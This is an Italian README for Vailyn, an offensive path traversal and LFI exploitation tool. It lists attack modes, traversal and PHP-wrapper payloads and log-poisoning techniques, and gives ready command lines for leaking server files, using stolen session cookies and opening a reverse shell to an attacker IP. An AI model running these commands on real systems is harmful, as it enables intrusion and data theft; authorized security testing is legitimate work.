
Uno strumento di scansione e sfruttamento di Path Traversal + LFI, a fasi e furtivo, in Python

Attacchi di Path Traversal e LFI a fasi
Vailyn 3.0
Dalla v3.0, Vailyn supporta i wrapper PHP LFI nella Fase 1. Usa
--lfiper includerli nella scansione.
Vailyn è uno strumento di analisi e sfruttamento delle vulnerabilità multi-fase per vulnerabilità di path traversal e file inclusion. È costruito per essere il più performante possibile, e per offrire un vasto arsenale di tecniche di elusione dei filtri.
Vailyn opera in 2 fasi. Prima, controlla se la vulnerabilità è presente. Lo fa tentando di accedere a /etc/passwd (o a un file specificato dall'utente), con tutti i suoi payload evasivi. Analizzando la risposta, i payload che hanno funzionato vengono separati dagli altri.
Ora, l'utente può scegliere liberamente quali payload usare. Solo questi payload saranno utilizzati nella seconda fase.
La seconda fase è la fase di sfruttamento. Ora, cerca di divulgare tutti i file possibili dal server usando un dizionario di file e uno di directory. La profondità di ricerca e il livello di permutazione delle directory possono essere adattati tramite argomenti. Opzionalmente, può scaricare i file trovati e salvarli nella cartella loot. In alternativa, cercherà di ottenere una reverse shell sul sistema, permettendo all'attaccante di ottenere il controllo completo del server.
Al momento, supporta molteplici vettori di attacco: iniezione tramite query, path, cookie e dati POST.
La separazione in diverse fasi è fatta per migliorare enormemente le prestazioni dello strumento. Nelle versioni precedenti, ogni combinazione file-directory veniva controllata con ogni payload. Ciò comportava un enorme overhead a causa del riutilizzo continuo dei payload, nonostante non funzionassero per la pagina corrente.
Le versioni Python consigliate e testate sono 3.7+, ma dovrebbe funzionare bene anche con Python 3.5 e Python 3.6. Per installare Vailyn, scarica l'archivio dalla scheda delle release, o esegui
$ git clone https://github.com/VainlyStrain/Vailyn
Una volta sul tuo sistema, dovrai installare le dipendenze Python.
Nei sistemi Unix, è sufficiente eseguire
$ pip install -r requirements.txt # --user
Alcune librerie usate da Vailyn non funzionano bene su Windows, o falliranno nell'installazione.
Se usi Windows, usa pip per installare i requisiti elencati in Vailyn\·›\requirements-windows.txt.
Se twisted fallisce nell'installazione, esiste una versione non ufficiale disponibile qui, che dovrebbe funzionare su Windows. Tieni presente che si tratta di un download di terze parti e l'integrità non è necessariamente garantita. Dopo che questo è stato installato correttamente, eseguire di nuovo pip su requirements-windows.txt dovrebbe funzionare.
Se vuoi utilizzare completamente il modulo di reverse shell, dovrai avere sshpass, ncat e konsole installati. I nomi dei pacchetti variano a seconda della distribuzione Linux. Su Windows, dovrai avviare manualmente il listener in anticipo. Se non ti piace konsole, puoi specificare un emulatore di terminale diverso in core/config.py.
Questo è tutto! Avvia Vailyn spostandoti nella sua directory di installazione ed eseguendo
$ python Vailyn -h
Vailyn ha 3 argomenti obbligatori: -v VIC, -a INT and -p2 TP P1 P2. Tuttavia, a seconda di -a, potrebbero essere necessari più argomenti.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
obbligatorio:
-v VIC, --victim VIC Target da attaccare, parte 1 [pre-payload]
-a INT, --attack INT Tipo di attacco (int, 1-5, o A)
A| Spider (completo) 2| Path 5| Dati POST, json
P| Spider (parziale) 3| Cookie
1| Parametro Query 4| Dati POST, plain
-p2 TP P1 P2, --phase2 TP P1 P2
Attacco nella Fase 2, e parametri necessari
┌[ Valori ]──────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ Dizionario File │ Dizionario Directory │
│ inject │ Indirizzo IP │ Porta di Ascolto │
│ implant │ File Sorgente │ Destinazione Server │
└─────────┴─────────────┴────────────────────┘
aggiuntivo:
-p PAM, --param PAM parametro di query o dati POST per --attack 1, 4, 5
-i F, --check F File da verificare nella Fase 1 (df: etc/passwd)
-Pi VIC2, --vic2 VIC2 Target di attacco, parte 2 [post-payload]
-c C, --cookie C Cookie da aggiungere (in formato header)
-l, --loot Scarica i file trovati nella cartella loot
-d I J K, --depths I J K
profondità (I: fase 1, J: fase 2, K: livello di permutazione)
-h, --help mostra questo menu di aiuto ed esci
-s T, --timeout T Timeout della richiesta; switch stabile per Arjun
-t, --tor Instrada gli attacchi attraverso la rete di anonimato Tor
-L, --lfi Usa anche wrapper PHP per divulgare file
-n, --nosploit salta la Fase 2 (non necessita di -p2 TP P1 P2)
-P, --precise Usa profondità esatta nella Fase 1 (non un intervallo)
-A, --app Avvia l'interfaccia Qt5 di Vailyn
sviluppo:
--debug Mostra ogni percorso tentato, anche i 404.
--version Stampa la versione del programma ed esci.
--notmain Evita il crash di notify2 in chiamate a sottoprocessi.
Info:
per divulgare file usando percorsi assoluti: -d 0 0 0
per ottenere una shell usando percorsi assoluti: -d 0 X 0
Vailyn attualmente supporta 5 vettori di attacco, e fornisce un crawler per automatizzarli tutti. L'attacco eseguito è identificato dall'argomento -a INT.
INT attacco
---- -------
1 attacco basato su query (https://site.com?file=../../../)
2 attacco basato su path (https://site.com/../../../)
3 attacco basato su cookie (recupererà i cookie per te)
4 dati POST semplici (ELEM1=VAL1&ELEM2=../../../)
5 dati POST JSON ({"file": "../../../"})
A spider recupera + analizza tutti gli URL dal sito usando tutti i vettori
P spider parziale recupera + analizza tutti gli URL dal sito usando solo i vettori selezionati
Devi anche specificare un target da attaccare. Questo viene fatto tramite -v VIC e -Pi VIC2, dove -v è la parte prima del punto di iniezione, e -Pi il resto.
Esempio: se l'URL finale dovesse essere: https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue, puoi specificare -v https://site.com/download.php e -Pi ¶m2=necessaryvalue (e -p file, poiché si tratta di un attacco su query).
Se vuoi includere i wrapper PHP nella scansione (come php://filter), usa l'argomento --lfi. Alla fine della Fase 1, ti verrà presentato un menu di selezione aggiuntivo contenente i wrapper che hanno funzionato. (se presenti)
Se il sito attaccato è dietro una pagina di login, puoi fornire un cookie di autenticazione tramite -c COOKIE. Se vuoi attaccare attraverso Tor, usa --tor.
Questa è la fase di analisi, in cui i payload funzionanti vengono separati dagli altri.
Per impostazione predefinita, viene cercato /etc/passwd. Se il server non esegue Linux, puoi specificare un file personalizzato con -i FILENAME. Nota che devi includere le sottodirectory in FILENAME.
Puoi modificare la profondità di ricerca con il primo valore di -d (default=8).
Se vuoi usare percorsi assoluti, imposta la prima profondità a 0.
Questa è la fase di sfruttamento, in cui Vailyn cercherà di divulgare quanti più file possibile, o ottenere una reverse shell usando varie tecniche.
La profondità di ricerca nella fase 2 (il numero massimo di livelli attraversati all'indietro) è specificata dal secondo valore dell'argomento -d. Il livello di permutazione delle sottodirectory è impostato dal terzo valore di -d.
Se attacchi con percorsi assoluti ed esegui l'attacco di divulgazione, imposta tutte le profondità a 0. Se vuoi ottenere una reverse shell, assicurati che la seconda profondità sia maggiore di 0.
Specificando -l, Vailyn non solo mostrerà i file sul terminale, ma li scaricherà e salverà nella cartella loot.
Se vuoi un output verboso (mostra ogni output, non solo i file trovati), puoi usare --debug. Nota che l'output diventa molto caotico, è sostanzialmente solo un aiuto per il debug.
Per eseguire l'attacco di forza bruta, devi specificare -p2 leak FIL PATH, dove
Per ottenere una reverse shell mediante iniezione di codice, puoi usare -p2 inject IP PORT, dove
ATTENZIONE
Vailyn impiega tecniche di Log Poisoning. Pertanto, IL TUO IP SPECIFICATO SARÀ VISIBILE NEI LOG DEL SERVER.
Le tecniche (funzionano solo per inclusioni LFI):
/proc/self/environ funziona solo su server obsoletiLog Poisoning di Apache + Nginx e inclusioneLog Poisoning SSHinclusione di mail avvelenataexpect://data:// (plain & b64)php://inputPer distinguere i risultati reali dai falsi positivi, Vailyn esegue i seguenti controlli:
-a 2, esegue un controllo aggiuntivo se il contenuto della risposta corrisponde al contenuto dell'URL root del server/etc/passwd se utilizzato come file di ricercaAttacco semplice con query, divulgazione di file nella Fase 2:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
Attacco con query, ma so che un file file.php esiste esattamente 2 livelli sopra il punto di inclusione:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
Questo ridurrà notevolmente la durata della Fase 1, poiché è un attacco mirato.
Attacco semplice con path:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
Attacco con path, ma ho bisogno di parametri di query e tag:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
Attacco semplice con cookie:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
Recupererà i cookie e potrai selezionare il cookie che vuoi avvelenare
Il Crawler di Vailyn analizza una web application dannosa e vulnerabile. I wrapper LFI non sono abilitati.
Hai trovato alcuni falsi positivi/negativi (o vuoi segnalare altri bug/miglioramenti): per favore apri una issue!
Vailyn è fornito come strumento offensivo per audit di applicazioni web. Dispone di funzionalità integrate che possono rivelare potenziali vulnerabilità nelle applicazioni web, che potrebbero essere sfruttate in modo malevolo.
PERTANTO, NÉ L'AUTORE NÉ I COLLABORATORI SONO RESPONSABILI PER QUALSIASI USO IMPROPRIO O DANNO DERIVANTE DA QUESTO KIT.
Utilizzando questo software, l'utente si impegna a rispettare le leggi locali, a non attaccare il sistema di altri senza esplicita autorizzazione del proprietario, o con intento malevolo.
In caso di violazione, solo l'utente finale che l'ha commessa è responsabile delle proprie azioni.
Vailyn: Copyright © VainlyStrain
Arjun: Copyright © s0md3v
Arjun non è più distribuito con Vailyn. Installa la sua ultima versione tramite pip.
Attacco POST Plain:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
inietterà il payload in DATA2
Attacco POST JSON:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
Attacco, ma il target è dietro una schermata di login:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
Attacco, ma voglio una reverse shell sulla porta 1337:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # è necessaria una profondità elevata della Fase 2 per l'iniezione nei log
(avvierà un listener ncat per te se sei su Unix)
Automazione completa in modalità crawler:
$ Vailyn -v "http://root-url.site" -a A puoi anche specificare altri argomenti, come cookie, profondità, lfi e file di ricerca qui
Automazione completa, ma Arjun necessita di --stable:
$ Vailyn -v "http://root-url.site" -a A -s ANY